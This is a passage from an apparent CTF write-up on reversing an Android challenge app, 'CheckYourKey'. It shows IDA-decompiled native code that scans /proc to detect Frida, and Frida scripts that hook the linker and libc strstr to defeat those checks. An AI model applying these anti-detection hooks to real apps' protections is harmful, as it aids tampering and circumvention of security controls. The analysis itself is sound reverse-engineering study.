v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
if ( strcmp(v19->d_name, byte_410DC) )
{
if ( strcmp(v19->d_name, byte_410E0) )
{
snprintf((char *)&v51, 0x100u, (const char *)off_41058, v19->d_name);
v18 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v51, 0x80000);
if ( v18 )
{
v82 = 0u;
v81 = 0u;
v80 = 0u;
v79 = 0u;
v78 = 0u;
v77 = 0u;
v76 = 0u;
v75 = 0u;
v74 = 0u;
v73 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
sub_11F14(v18, &v67, 256LL, 0LL);
if ( strstr((const char *)&v67, (const char *)off_41060)
|| strstr((const char *)&v67, (const char *)off_41068) )
{
dword_0 = 100;
}
close(v18);
}
}
}
}
closedir(v20);
}
v22 = opendir(off_41070);
if ( v22 )
{
while ( 1 )
{
v21 = readdir(v22);
if ( !v21 )
break;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v82 = 0u;
v81 = 0u;
v80 = 0u;
v79 = 0u;
v78 = 0u;
v77 = 0u;
v76 = 0u;
v75 = 0u;
v74 = 0u;
v73 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
snprintf((char *)&v67, 0x100u, byte_410F0, v21->d_name);
lstat((const char *)&v67, (struct stat *)v39);
if ( (v40 & 0xF000) == 40960 )
{
linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v67, (char *)&v51, 0x100u);
if ( strstr((const char *)&v51, (const char *)off_41078) )
dword_0 = 100;
}
}
}
closedir(v22);
v23 = strlen(byte_41088);
v4 = 0LL;
v24 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
if ( v24 >= 1 )
{
while ( (int)sub_11810((unsigned int)v24, v50, 512LL, v4) >= 1 )
{
if ( strstr(v50, a3Z) )
dword_0 = 100;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v47 = 0;
v46 = 0;
if ( sscanf(v50, byte_410B0, &v42, &v41, &v46, &v43, &v51) == 5
&& (unsigned __int8)v46 == 114
&& HIBYTE(v46) == 112
&& !v43
&& strlen((const char *)&v51)
&& (unsigned __int8)v51 != 91
&& (unsigned __int64)(v41 - v42) > 0xF4240
&& !(unsigned int)sub_11AC8(&v51, aDJ)
&& strstr((const char *)&v51, aZ) != (char *)&v51
&& (unsigned int)sub_116D0(v42, v41, byte_41088, v23) == 1 )
{
dword_0 = 100;
break;
}
}
}
v27 = opendir((const char *)off_41050);
if ( v27 )
{
while ( 1 )
{
v26 = readdir(v27);
if ( !v26 )
break;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
if ( strcmp(v26->d_name, byte_410DC) )
{
if ( strcmp(v26->d_name, byte_410E0) )
{
snprintf((char *)&v51, 0x100u, (const char *)off_41058, v26->d_name);
v25 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v51, 0x80000);
if ( v25 )
{
v82 = 0u;
v81 = 0u;
v80 = 0u;
v79 = 0u;
v78 = 0u;
v77 = 0u;
v76 = 0u;
v75 = 0u;
v74 = 0u;
v73 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
sub_11F14(v25, &v67, 256LL, 0LL);
if ( strstr((const char *)&v67, (const char *)off_41060)
|| strstr((const char *)&v67, (const char *)off_41068) )
{
dword_0 = 100;
}
close(v25);
}
}
}
}
closedir(v27);
}
v29 = opendir(off_41070);
if ( v29 )
{
while ( 1 )
{
v28 = readdir(v29);
if ( !v28 )
break;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v82 = 0u;
v81 = 0u;
v80 = 0u;
v79 = 0u;
v78 = 0u;
v77 = 0u;
v76 = 0u;
v75 = 0u;
v74 = 0u;
v73 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
snprintf((char *)&v67, 0x100u, byte_410F0, v28->d_name);
lstat((const char *)&v67, (struct stat *)v44);
if ( (v45 & 0xF000) == 40960 )
{
linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v67, (char *)&v51, 0x100u);
if ( strstr((const char *)&v51, (const char *)off_41078) )
dword_0 = 100;
}
}
}
v8 = 65542;
closedir(v29);
}
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return v8;
}
You see that SVC is used in the JNI_OnLoad function to directly interact with the kernel. These SVC assemblies mainly perform operations such as file access. At the same time, some key strings are encrypted, so static analysis cannot directly see the information relevant strings. After the app’s module is loaded, compare it with the decrypted string in the memory. Then use ida to directly attach the current app process. At this time, you can clearly see that the relevant string has been decrypted, as follows picture:
Combined with the above code after f5, you can quickly find that the /proc/self/maps file is accessed by the JNI_OnLoad function, and at the same time traverse the current app process thread information file under /proc/self/task/, that is, the status file, and at the same time check /proc/ The self/fd directory is traversed. The svc-related syscall operations here are mainly used for feature detection of frida. Also, in the import table, you can see that the pthread_create function is used to create threads. By cross-referencing the pthread_create function, you can quickly locate the called place, and the corresponding thread function is as follows:
At this point, you can quickly locate the thread function as sub_12EE4, and the following is the code after f5 om ida:
void __noreturn sub_12EE4()
{
size_t v0; // [xsp+BCh] [xbp-6F4h]
char v1[512]; // [xsp+D0h] [xbp-6E0h] BYREF
__int64 v2; // [xsp+2D0h] [xbp-4E0h] BYREF
__int64 v3; // [xsp+2D8h] [xbp-4D8h] BYREF
__int64 v4; // [xsp+2E0h] [xbp-4D0h] BYREF
int v5; // [xsp+2E8h] [xbp-4C8h] BYREF
char v6; // [xsp+2ECh] [xbp-4C4h]
__int128 v7; // [xsp+2F0h] [xbp-4C0h] BYREF
__int128 v8; // [xsp+300h] [xbp-4B0h]
__int128 v9; // [xsp+310h] [xbp-4A0h]
__int128 v10; // [xsp+320h] [xbp-490h]
__int128 v11; // [xsp+330h] [xbp-480h]
__int128 v12; // [xsp+340h] [xbp-470h]
__int128 v13; // [xsp+350h] [xbp-460h]
__int128 v14; // [xsp+360h] [xbp-450h]
__int128 v15; // [xsp+370h] [xbp-440h]
__int128 v16; // [xsp+380h] [xbp-430h]
__int128 v17; // [xsp+390h] [xbp-420h]
__int128 v18; // [xsp+3A0h] [xbp-410h]
__int128 v19; // [xsp+3B0h] [xbp-400h]
__int128 v20; // [xsp+3C0h] [xbp-3F0h]
__int128 v21; // [xsp+3D0h] [xbp-3E0h]
__int128 v22; // [xsp+3E0h] [xbp-3D0h]
int v23; // [xsp+3FCh] [xbp-3B4h]
int v24; // [xsp+400h] [xbp-3B0h]
int v25; // [xsp+404h] [xbp-3ACh]
char *v26; // [xsp+408h] [xbp-3A8h]
int v27; // [xsp+414h] [xbp-39Ch]
__int64 v28; // [xsp+418h] [xbp-398h]
__int64 v29; // [xsp+420h] [xbp-390h]
char *v30; // [xsp+428h] [xbp-388h]
__int64 v31; // [xsp+430h] [xbp-380h]
__int64 v32; // [xsp+438h] [xbp-378h]
__int64 v33; // [xsp+440h] [xbp-370h]
__int64 v34; // [xsp+448h] [xbp-368h]
char *v35; // [xsp+450h] [xbp-360h]
__int64 v36; // [xsp+458h] [xbp-358h]
__int64 v37; // [xsp+460h] [xbp-350h]
char *v38; // [xsp+468h] [xbp-348h]
char *v39; // [xsp+470h] [xbp-340h]
char *needle; // [xsp+478h] [xbp-338h]
char *haystack; // [xsp+480h] [xbp-330h]
const char *v42; // [xsp+488h] [xbp-328h]
__int128 *v43; // [xsp+490h] [xbp-320h]
char *v44; // [xsp+498h] [xbp-318h]
char *v45; // [xsp+4A0h] [xbp-310h]
__int64 v46; // [xsp+4A8h] [xbp-308h]
__int128 v47; // [xsp+4B0h] [xbp-300h] BYREF
__int128 v48; // [xsp+4C0h] [xbp-2F0h]
__int128 v49; // [xsp+4D0h] [xbp-2E0h]
__int128 v50; // [xsp+4E0h] [xbp-2D0h]
__int128 v51; // [xsp+4F0h] [xbp-2C0h]
__int128 v52; // [xsp+500h] [xbp-2B0h]
__int128 v53; // [xsp+510h] [xbp-2A0h]
__int128 v54; // [xsp+520h] [xbp-290h]
__int128 v55; // [xsp+530h] [xbp-280h]
__int128 v56; // [xsp+540h] [xbp-270h]
__int128 v57; // [xsp+550h] [xbp-260h]
__int128 v58; // [xsp+560h] [xbp-250h]
__int128 v59; // [xsp+570h] [xbp-240h]
__int128 v60; // [xsp+580h] [xbp-230h]
__int128 v61; // [xsp+590h] [xbp-220h]
__int128 v62; // [xsp+5A0h] [xbp-210h]
int fd; // [xsp+5BCh] [xbp-1F4h]
struct dirent *v64; // [xsp+5C0h] [xbp-1F0h]
DIR *dirp; // [xsp+5C8h] [xbp-1E8h]
int v66; // [xsp+5D0h] [xbp-1E0h]
int v67; // [xsp+5D4h] [xbp-1DCh]
__int128 *v68; // [xsp+5D8h] [xbp-1D8h]
int v69; // [xsp+5E4h] [xbp-1CCh]
__int64 v70; // [xsp+5E8h] [xbp-1C8h]
__int64 v71; // [xsp+5F0h] [xbp-1C0h]
__int128 *v72; // [xsp+5F8h] [xbp-1B8h]
__int64 v73; // [xsp+600h] [xbp-1B0h]
__int64 v74; // [xsp+608h] [xbp-1A8h]
__int64 v75; // [xsp+610h] [xbp-1A0h]
__int64 v76; // [xsp+618h] [xbp-198h]
__int128 *v77; // [xsp+620h] [xbp-190h]
__int64 v78; // [xsp+628h] [xbp-188h]
__int64 v79; // [xsp+630h] [xbp-180h]
void *v80; // [xsp+638h] [xbp-178h]
__int128 *v81; // [xsp+640h] [xbp-170h]
char *v82; // [xsp+648h] [xbp-168h]
char *v83; // [xsp+650h] [xbp-160h]
void *v84; // [xsp+658h] [xbp-158h]
__int128 *v85; // [xsp+660h] [xbp-150h]
char *v86; // [xsp+668h] [xbp-148h]
char *v87; // [xsp+670h] [xbp-140h]
__int64 v88; // [xsp+678h] [xbp-138h]
char v89[16]; // [xsp+680h] [xbp-130h] BYREF
int v90; // [xsp+690h] [xbp-120h]
struct dirent *v91; // [xsp+700h] [xbp-B0h]
DIR *v92; // [xsp+708h] [xbp-A8h]
__int64 v93; // [xsp+710h] [xbp-A0h]
__int128 *v94; // [xsp+718h] [xbp-98h]
__int128 *v95; // [xsp+720h] [xbp-90h]
int v96; // [xsp+72Ch] [xbp-84h]
__int64 v97; // [xsp+730h] [xbp-80h]
__int128 *v98; // [xsp+738h] [xbp-78h]
__int128 *v99; // [xsp+740h] [xbp-70h]
__int64 v100; // [xsp+748h] [xbp-68h]
__int64 v101; // [xsp+750h] [xbp-60h]
__int64 v102; // [xsp+758h] [xbp-58h]
__int128 *v103; // [xsp+760h] [xbp-50h]
__int128 *v104; // [xsp+768h] [xbp-48h]
__int64 v105; // [xsp+770h] [xbp-40h]
__int64 v106; // [xsp+778h] [xbp-38h]
void *v107; // [xsp+780h] [xbp-30h]
__int128 *v108; // [xsp+788h] [xbp-28h]
void *v109; // [xsp+790h] [xbp-20h]
__int128 *v110; // [xsp+798h] [xbp-18h]
while ( 1 )
{
v0 = strlen(byte_41088);
v27 = -100;
v26 = byte_41094;
v25 = 0;
v24 = 0;
v37 = 56LL;
v36 = -100LL;
v35 = byte_41094;
v34 = 0LL;
v33 = 0LL;
v32 = 56LL;
v31 = -100LL;
v30 = byte_41094;
v29 = 0LL;
v28 = 0LL;
v31 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
v23 = v31;
if ( (int)v31 >= 1 )
{
while ( 1 )
{
if ( (int)my_read(v23, v1, 0x200u) < 1 )
goto LABEL_17;
v39 = v1;
v38 = a3Z;
haystack = v1;
needle = a3Z;
if ( strstr(v1, a3Z) )
dword_0 = 100;
v22 = 0u;
v21 = 0u;
v20 = 0u;
v19 = 0u;
v18 = 0u;
v17 = 0u;
v16 = 0u;
v15 = 0u;
v14 = 0u;
v13 = 0u;
v12 = 0u;
v11 = 0u;
v10 = 0u;
v9 = 0u;
v8 = 0u;
v7 = 0u;
v6 = 0;
v5 = 0;
if ( sscanf(v1, byte_410B0, &v3, &v2, &v5, &v4, &v7) == 5
&& (unsigned __int8)v5 == 114
&& HIBYTE(v5) == 112
&& !v4 )
{
if ( strlen((const char *)&v7) )
{
if ( (unsigned __int8)v7 != 91
&& (unsigned __int64)(v2 - v3) > 0xF4240
&& !sub_11AC8((const char *)&v7, aDJ) )
{
v43 = &v7;
v42 = aZ;
v45 = (char *)&v7;
v44 = aZ;
if ( strstr((const char *)&v7, aZ) != (char *)&v7 && (unsigned int)sub_116D0(v3, v2, byte_41088, v0) == 1 )
break;
}
}
}
}
dword_0 = 100;
}
LABEL_17:
dirp = opendir((const char *)off_41050);
if ( dirp )
{
v64 = 0LL;
while ( 1 )
{
v64 = readdir(dirp);
if ( !v64 )
break;
v22 = 0u;
v21 = 0u;
v20 = 0u;
v19 = 0u;
v18 = 0u;
v17 = 0u;
v16 = 0u;
v15 = 0u;
v14 = 0u;
v13 = 0u;
v12 = 0u;
v11 = 0u;
v10 = 0u;
v9 = 0u;
v8 = 0u;
v7 = 0u;
if ( strcmp(v64->d_name, byte_410DC) )
{
if ( strcmp(v64->d_name, byte_410E0) )
{
snprintf((char *)&v7, 0x100u, (const char *)off_41058, v64->d_name);
v69 = -100;
v68 = &v7;
v67 = 0x80000;
v66 = 0;
v79 = 56LL;
v78 = -100LL;
v77 = &v7;
v76 = 0x80000LL;
v75 = 0LL;
v74 = 56LL;
v73 = -100LL;
v72 = &v7;
v71 = 0x80000LL;
v70 = 0LL;
v73 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v7, 0x80000);
fd = v73;
if ( (_DWORD)v73 )
{
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
sub_11F14((unsigned int)fd, &v47, 256LL, 0LL);
v81 = &v47;
v80 = off_41060;
v83 = (char *)&v47;
v82 = (char *)off_41060;
if ( strstr((const char *)&v47, (const char *)off_41060)
|| (v85 = &v47,
v84 = off_41068,
v87 = (char *)&v47,
v86 = (char *)off_41068,
strstr((const char *)&v47, (const char *)off_41068)) )
{
v46 = 0LL;
dword_0 = 100;
}
close(fd);
}
}
}
}
closedir(dirp);
}
v92 = opendir(off_41070);
if ( v92 )
{
v91 = 0LL;
while ( 1 )
{
v91 = readdir(v92);
if ( !v91 )
break;
v22 = 0u;
v21 = 0u;
v20 = 0u;
v19 = 0u;
v18 = 0u;
v17 = 0u;
v16 = 0u;
v15 = 0u;
v14 = 0u;
v13 = 0u;
v12 = 0u;
v11 = 0u;
v10 = 0u;
v9 = 0u;
v8 = 0u;
v7 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
snprintf((char *)&v47, 0x100u, byte_410F0, v91->d_name);
lstat((const char *)&v47, (struct stat *)v89);
if ( (v90 & 0xF000) == 40960 )
{
v96 = -100;
v95 = &v47;
v94 = &v7;
v93 = 256LL;
v106 = 78LL;
v105 = -100LL;
v104 = &v47;
v103 = &v7;
v102 = 256LL;
v101 = 78LL;
v100 = -100LL;
v99 = &v47;
v98 = &v7;
v97 = 256LL;
v100 = linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v47, (char *)&v7, 0x100u);
v108 = &v7;
v107 = off_41078;
v110 = &v7;
v109 = off_41078;
if ( strstr((const char *)&v7, (const char *)off_41078) )
{
v88 = 0LL;
dword_0 = 100;
}
}
}
}
closedir(v92);
sleep(2u);
}
}
Combined with the relevant string information after the dynamic attach of ida, you can quickly find that this thread function is also mainly used to detect frida features. Therefore, you can write a frida script to directly replace the call of the function sub_136F8, and bypass the function call Frida’s detection thread.
function LogPrint(log) {
var theDate = new Date();
var hour = theDate.getHours();
var minute = theDate.getMinutes();
var second = theDate.getSeconds();
var mSecond = theDate.getMilliseconds();
hour < 10 ? hour = "0" + hour : hour;
minute < 10 ? minute = "0" + minute : minute;
second < 10 ? second = "0" + second : second;
mSecond < 10 ? mSecond = "00" + mSecond : mSecond < 100 ? mSecond = "0" + mSecond : mSecond;
var time = hour + ":" + minute + ":" + second + ":" + mSecond;
var threadid = Process.getCurrentThreadId();
console.log("[" + time + "]" + "->threadid:" + threadid + "--" + log);
}
function hooklibc() {
var libcmodule = Process.getModuleByName("libc.so");
var __openat = null;
libcmodule.enumerateSymbols().forEach(function (symbol) {
if (symbol.name == "__openat") {
console.warn("find __openat->" + JSON.stringify(symbol));
__openat = symbol.address;
}
});
Interceptor.attach(__openat, {
onEnter: function (args) {
this.filepath = args[1].readCString();
console.warn("start __openat:" + this.filepath);
}, onLeave: function (retval) {
console.warn("start __openat:" + this.filepath + ",retval:" + retval);
}
})
}
var ishooked = false;
function hook_constructor() {
if (Process.pointerSize == 4) {
var linker = Process.findModuleByName("linker");
} else {
var linker = Process.findModuleByName("linker64");
}
var addr_call_function = null;
var addr_g_ld_debug_verbosity = null;
var addr_async_safe_format_log = null;
if (linker) {
//console.log("found linker");
var symbols = linker.enumerateSymbols();
for (var i = 0; i < symbols.length; i++) {
var name = symbols[i].name;
if (name.indexOf("call_function") >= 0) {
addr_call_function = symbols[i].address;
// console.log("call_function",JSON.stringify(symbols[i]));
} else if (name.indexOf("g_ld_debug_verbosity") >= 0) {
addr_g_ld_debug_verbosity = symbols[i].address;
ptr(addr_g_ld_debug_verbosity).writeInt(2);
} else if (name.indexOf("async_safe_format_log") >= 0 && name.indexOf('va_list') < 0) {
// console.log("async_safe_format_log",JSON.stringify(symbols[i]));
addr_async_safe_format_log = symbols[i].address;
}
}
}
if (addr_async_safe_format_log) {
Interceptor.attach(addr_async_safe_format_log, {
onEnter: function (args) {
this.log_level = args[0];
this.tag = ptr(args[1]).readCString()
this.fmt = ptr(args[2]).readCString()
if (this.fmt.indexOf("c-tor") >= 0 && this.fmt.indexOf('Done') < 0) {
this.function_type = ptr(args[3]).readCString(), // func_type
this.so_path = ptr(args[5]).readCString();
var strs = new Array(); //定义一数组
strs = this.so_path.split("/"); //字符分割
this.so_name = strs.pop();
this.func_offset = ptr(args[4]).sub(Module.findBaseAddress(this.so_name))
console.log("func_type:", this.function_type,
'\nso_name:', this.so_name,
'\nso_path:', this.so_path,
'\nfunc_offset:', this.func_offset
);
if (this.function_type == "function" && this.so_name == "libCheckYourKey.so") {
if (ishooked == false) {
ishooked = true;
var libnativelib = Process.getModuleByName("libCheckYourKey.so");
var sub_116D0 = libnativelib.base.add(0x116d0);
Interceptor.attach(sub_116D0, {
onEnter: function (args) {
}, onLeave: function (retval) {
retval.replace(0x0);
}
})
}
}
// hook代码在这加
}
},
onLeave: function (retval) {
}
})
}
}
function hooklibc() {
var libcmodule = Process.getModuleByName("libc.so");
var strstraddr = libcmodule.getExportByName("strstr");
Interceptor.attach(strstraddr, {
onEnter: function (args) {
this.arg0 = ptr(args[0]).readUtf8String();
this.arg1 = ptr(args[1]).readUtf8String();
}, onLeave: function (retval) {
//LogPrint("strstr(" + this.arg0 + "," + this.arg1);
if (this.arg0.indexOf("frida") != -1) {
retval.replace(0x0);
}
if (this.arg1.indexOf("gum-js-loop") != -1 || this.arg1.indexOf("gmain") != -1) {
retval.replace(0x0);
}
//linjector
if (this.arg1.indexOf("linjector") != -1) {
retval.replace(0x0);
}
}
}
)
}
function main() {
hook_constructor();
hooklibc();
}
setImmediate(main)
The above frida script is mainly to hook the frida features collected by the app and the related functions used for comparison to bypass. Next, you can use frida to analyze the running process of the app
First, you can hook the statically registered Java_com_ctf_CheckYourKey_MainActivity_ooxx function corresponding to ooxx after so loading is completed. The hook code is as follows:
function LogPrint(log) {
var theDate = new Date();
var hour = theDate.getHours();
var minute = theDate.getMinutes();
var second = theDate.getSeconds();
var mSecond = theDate.getMilliseconds();
hour < 10 ? hour = "0" + hour : hour;
minute < 10 ? minute = "0" + minute : minute;
second < 10 ? second = "0" + second : second;
mSecond < 10 ? mSecond = "00" + mSecond : mSecond < 100 ? mSecond = "0" + mSecond : mSecond;
var time = hour + ":" + minute + ":" + second + ":" + mSecond;
var threadid = Process.getCurrentThreadId();
console.log("[" + time + "]" + "->threadid:" + threadid + "--" + log);
}
function hooklibc() {
var libcmodule = Process.getModuleByName("libc.so");
var __openat = null;
libcmodule.enumerateSymbols().forEach(function (symbol) {
if (symbol.name == "__openat") {
console.warn("find __openat->" + JSON.stringify(symbol));
__openat = symbol.address;
}
});
Interceptor.attach(__openat, {
onEnter: function (args) {
this.filepath = args[1].readCString();
console.warn("start __openat:" + this.filepath);
}, onLeave: function (retval) {
console.warn("start __openat:" + this.filepath + ",retval:" + retval);
}
})
}
var ishooked = false;
function hook_constructor() {
if (Process.pointerSize == 4) {
var linker = Process.findModuleByName("linker");
} else {
var linker = Process.findModuleByName("linker64");
}
var addr_call_function = null;
var addr_g_ld_debug_verbosity = null;
var addr_async_safe_format_log = null;
if (linker) {
//console.log("found linker");
var symbols = linker.enumerateSymbols();
for (var i = 0; i < symbols.length; i++) {
var name = symbols[i].name;
if (name.indexOf("call_function") >= 0) {
addr_call_function = symbols[i].address;
// console.log("call_function",JSON.stringify(symbols[i]));
} else if (name.indexOf("g_ld_debug_verbosity") >= 0) {
addr_g_ld_debug_verbosity = symbols[i].address;
ptr(addr_g_ld_debug_verbosity).writeInt(2);
} else if (name.indexOf("async_safe_format_log") >= 0 && name.indexOf('va_list') < 0) {
// console.log("async_safe_format_log",JSON.stringify(symbols[i]));
addr_async_safe_format_log = symbols[i].address;
}
}
}
if (addr_async_safe_format_log) {
Interceptor.attach(addr_async_safe_format_log, {
onEnter: function (args) {
this.log_level = args[0];
this.tag = ptr(args[1]).readCString()
this.fmt = ptr(args[2]).readCString()
if (this.fmt.indexOf("c-tor") >= 0 && this.fmt.indexOf('Done') < 0) {
this.function_type = ptr(args[3]).readCString(), // func_type
this.so_path = ptr(args[5]).readCString();
var strs = new Array(); //定义一数组
strs = this.so_path.split("/"); //字符分割
this.so_name = strs.pop();
this.func_offset = ptr(args[4]).sub(Module.findBaseAddress(this.so_name))
console.log("func_type:", this.function_type,
'\nso_name:', this.so_name,
'\nso_path:', this.so_path,
'\nfunc_offset:', this.func_offset
);
if (this.function_type == "function" && this.so_name == "libCheckYourKey.so") {
if (ishooked == false) {
ishooked = true;
var libnativelib = Process.getModuleByName("libCheckYourKey.so");
var sub_116D0 = libnativelib.base.add(0x116d0);
Interceptor.attach(sub_116D0, {
onEnter: function (args) {
}, onLeave: function (retval) {
retval.replace(0x0);
}
})
var Java_com_ctf_CheckYourKey_MainActivity_ooxx = libnativelib.getExportByName("Java_com_ctf_CheckYourKey_MainActivity_ooxx");
console.warn(Java_com_ctf_CheckYourKey_MainActivity_ooxx);
Interceptor.attach(Java_com_ctf_CheckYourKey_MainActivity_ooxx, {
onEnter: function (args) {
console.warn("go into Java_com_ctf_CheckYourKey_MainActivity_ooxx");
}, onLeave: function (retval) {
console.warn("leave Java_com_ctf_CheckYourKey_MainActivity_ooxx");
}
})
}
}
// hook代码在这加
}
},
onLeave: function (retval) {
}
})
}
}
function hooklibc() {
var libcmodule = Process.getModuleByName("libc.so");
var strstraddr = libcmodule.getExportByName("strstr");
Interceptor.attach(strstraddr, {
onEnter: function (args) {
this.arg0 = ptr(args[0]).readUtf8String();
this.arg1 = ptr(args[1]).readUtf8String();
}, onLeave: function (retval) {
//LogPrint("strstr(" + this.arg0 + "," + this.arg1);
if (this.arg0.indexOf("frida") != -1) {
retval.replace(0x0);
}
if (this.arg1.indexOf("gum-js-loop") != -1 || this.arg1.indexOf("gmain") != -1) {
retval.replace(0x0);
}
//linjector
if (this.arg1.indexOf("linjector") != -1) {
retval.replace(0x0);
}
}
}
)
}
function main() {
hook_constructor();
hooklibc();
}
setImmediate(main)
After entering the app interface, input a few strings at will, and you will find that console.warn(“go into Java_com_ctf_CheckYourKey_MainActivity_ooxx”) is not printed normally. So the jni function is not bound here. Go back and look at JNI_OnLoad after f5. You can quickly locate the dynamic registration of the jni function in this function, the function is sub_8965,
At this point, modify the frida code, hook the sub_8965 function, click check on the input content, and successfully enter the function logic, so this function is the address to which the ooxx function is finally bound. Next, focus on analyzing the function logic.
The following is the code after the function f5, which also contains the feature detection of frida,
bool __fastcall sub_8965(__int64 a1, __int64 a2, __int64 a3)
{
signed __int64 v3; // x0
signed __int64 v4; // x0
char *s1; // [xsp+160h] [xbp-A50h]
size_t v7; // [xsp+16Ch] [xbp-A44h]
char *v8; // [xsp+170h] [xbp-A40h]
_QWORD *v9; // [xsp+198h] [xbp-A18h]
__int64 v10; // [xsp+1A8h] [xbp-A08h]
bool v13; // [xsp+1CCh] [xbp-9E4h]
unsigned int v14; // [xsp+1E4h] [xbp-9CCh]
int v15; // [xsp+1F4h] [xbp-9BCh]
unsigned int fd; // [xsp+2ACh] [xbp-904h]
struct dirent *v17; // [xsp+2B0h] [xbp-900h]
DIR *v18; // [xsp+2B8h] [xbp-8F8h]
struct dirent *v19; // [xsp+370h] [xbp-840h]
DIR *v20; // [xsp+378h] [xbp-838h]
unsigned int v21; // [xsp+424h] [xbp-78Ch]
int v22; // [xsp+434h] [xbp-77Ch]
unsigned int v23; // [xsp+4ECh] [xbp-6C4h]
struct dirent *v24; // [xsp+4F0h] [xbp-6C0h]
DIR *v25; // [xsp+4F8h] [xbp-6B8h]
struct dirent *v26; // [xsp+5B0h] [xbp-600h]
DIR *v27; // [xsp+5B8h] [xbp-5F8h]
unsigned __int64 v28; // [xsp+658h] [xbp-558h] BYREF
unsigned __int8 *v29; // [xsp+660h] [xbp-550h] BYREF
__int64 v30; // [xsp+668h] [xbp-548h] BYREF
char v31[16]; // [xsp+670h] [xbp-540h] BYREF
int v32; // [xsp+680h] [xbp-530h]
unsigned __int64 v33; // [xsp+6F0h] [xbp-4C0h] BYREF
unsigned __int8 *v34; // [xsp+6F8h] [xbp-4B8h] BYREF
__int64 v35; // [xsp+700h] [xbp-4B0h] BYREF
char v36[16]; // [xsp+708h] [xbp-4A8h] BYREF
int v37; // [xsp+718h] [xbp-498h]
int v38; // [xsp+788h] [xbp-428h] BYREF
char v39; // [xsp+78Ch] [xbp-424h]
char s[512]; // [xsp+790h] [xbp-420h] BYREF
__int128 v41; // [xsp+990h] [xbp-220h] BYREF
__int128 v42; // [xsp+9A0h] [xbp-210h]
__int128 v43; // [xsp+9B0h] [xbp-200h]
__int128 v44; // [xsp+9C0h] [xbp-1F0h]
__int128 v45; // [xsp+9D0h] [xbp-1E0h]
__int128 v46; // [xsp+9E0h] [xbp-1D0h]
__int128 v47; // [xsp+9F0h] [xbp-1C0h]
__int128 v48; // [xsp+A00h] [xbp-1B0h]
__int128 v49; // [xsp+A10h] [xbp-1A0h]
__int128 v50; // [xsp+A20h] [xbp-190h]
__int128 v51; // [xsp+A30h] [xbp-180h]
__int128 v52; // [xsp+A40h] [xbp-170h]
__int128 v53; // [xsp+A50h] [xbp-160h]
__int128 v54; // [xsp+A60h] [xbp-150h]
__int128 v55; // [xsp+A70h] [xbp-140h]
__int128 v56; // [xsp+A80h] [xbp-130h]
__int128 v57; // [xsp+A90h] [xbp-120h] BYREF
__int128 v58; // [xsp+AA0h] [xbp-110h]
__int128 v59; // [xsp+AB0h] [xbp-100h]
__int128 v60; // [xsp+AC0h] [xbp-F0h]
__int128 v61; // [xsp+AD0h] [xbp-E0h]
__int128 v62; // [xsp+AE0h] [xbp-D0h]
__int128 v63; // [xsp+AF0h] [xbp-C0h]
__int128 v64; // [xsp+B00h] [xbp-B0h]
__int128 v65; // [xsp+B10h] [xbp-A0h]
__int128 v66; // [xsp+B20h] [xbp-90h]
__int128 v67; // [xsp+B30h] [xbp-80h]
__int128 v68; // [xsp+B40h] [xbp-70h]
__int128 v69; // [xsp+B50h] [xbp-60h]
__int128 v70; // [xsp+B60h] [xbp-50h]
__int128 v71; // [xsp+B70h] [xbp-40h]
__int128 v72; // [xsp+B80h] [xbp-30h]
__int64 v73; // [xsp+B98h] [xbp-18h]
v73 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
v14 = strlen(byte_41088);
v15 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
if ( v15 >= 1 )
{
while ( (int)my_read(v15, s, 0x200u) >= 1 )
{
if ( strstr(s, a3Z) )
dword_0 = 100;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v50 = 0u;
v49 = 0u;
v48 = 0u;
v47 = 0u;
v46 = 0u;
v45 = 0u;
v44 = 0u;
